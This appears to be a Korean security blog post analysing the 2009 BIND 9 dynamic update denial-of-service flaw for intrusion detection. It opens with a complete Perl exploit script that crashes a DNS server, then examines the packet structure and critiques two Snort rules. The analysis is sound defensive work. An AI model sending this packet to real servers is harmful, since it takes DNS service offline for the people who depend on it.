About Bind 9 vulnerability – rev:2

다음은 Bind9 의 취약점을 이용한 exploit 코드다.

 

#!/usr/bin/perl -w

use Net::DNS;

our $NSI = ‘<dns server>’;
our $NSI_KEY_NAME = ‘<key name>’;
our $NSI_KEY = ‘<key>’;
my $rzone = ‘<zone>’;
my $rptr  = “1.$rzone”;

my $packet = Net::DNS::Update->new($rzone);

$packet->push(
    pre => Net::DNS::RR->new(
        Name  => $rptr,
        Class => ‘IN’,
        Type  => ‘ANY’,
        TTL   => 0,
    )
);
$packet->push(
    update => Net::DNS::RR->new(
        Name  => $rptr,
        Class => ‘ANY’,
        Type  => ‘ANY’,
    )
);

$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;
print $packet->string;

Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);

 

 

http://ftp.kaist.ac.kr/FreeBSD-kr/doc/www/htdocs/doc/PoweredByDNS/dynamic-update.shtml

위에서 살펴보면 다음과 같은 설명이 나온다.

BIND-8 부터 지원되는 Dynamic Update는 해당 도메인의 Authority를 갖는 네임서버를 통해 Zone 파일을 수정치 않고도 레코드를 동적으로 원격 갱신할 수 있도록 한다. 도메인 관리를 자동화 하거나, 사용자별로 접속 도메인을 실시간 변경하여 제공하거나, DHCP에서의 주소-IP 매칭등과 같이 실시간 적으로 레코드가 변경, 갱신 될 필요가 있는 서비스에 특히 유용할 수 있겠다.

 

 해당 exploit은 dynamic update를 통하여 DNS서버를 DOS상태에 빠뜨린다.

 

샘플 패킷을 보자.

 

bind sample

 

dynamic update 구조는 header/zone/prerequisite/update/additional data

이다.

opcode는 업데이트이다.

즉, DNS 패킷의 오프셋 2에서 40과 셋이 되는지 살펴야한다.

byte_test:1,&,40,2

그리고 나서 prequisites가 있는지 보고 type이 any인지 봐야한다.

그리고 FQDN이 존재하고 RRset이 존재할 경우

 

취약점에 의해 DOS에 빠진다.

 

 

변수가 많아 탐지가 힘들다.

expoit 만을 위한 탐지라 하더라도 공격지의 DNS네임이 변경될 경우 offset이 변하므로 힘들다.

VRT에서 발표하는 룰을 보고 시그니처 생성여부를 판단해보도록 하겠다.

 

2009-07-29 현재 VRT에서는 BIND9 Dynamic update 취약점에 관한 룰을 발표는 했지만

실제로 존재하지 않는다.

emergingthreats 에서 초반 내놓은 룰은 막힌 상태며 다음과 같은 두가지 룰을 볼 수 있다.

#by Daniel Sheperd
alert udp any any -> any 53 (msg:”ET CURRENT_EVENTS DNS BIND 9 Dynamic Update DoS attempt”; content:”|28 00|”; offset:2; content:”|00 00 06|”; distance:8; content:”|c0 0c 00 ff|”; distance:2; reference:cve,2009-0696; classtype:attempted-dos; reference:url,doc.emergingthreats.net/2009701; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/CURRENT_EVENTS/CURRENT_Bind; sid:2009701; rev:2;)

이것은 오탐의 여지가 충분하다. distance 8의 00 00 06이 문제고

이는 테스트결과 전혀 다른 hex 값을 가진다.

 offset 2의 28도 문제다.

28은 십진수 40을 포함한 그이상의 수가 될 수 있다. 밑의 룰을 보면 알 수 있다.

극히 exploit을 위한 탐지라고 봐야한다.

 

#this sig JUST gets updates from external_net, not the exploit. Will go to policy later
alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:”ET CURRENT_EVENTS POLICY DNS Update From External net”; flow:to_server; byte_test:1,&,40,2; classtype:policy-violation; reference:url,doc.emergingthreats.net/2009702; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/CURRENT_EVENTS/CURRENT_Bind; sid:2009702; rev:2;)

 

이것은 dynamic update만을 탐지한다.

보통 disable 시키나 enable 시 patch를 꼭 해야한다.

Advertisements

About this entry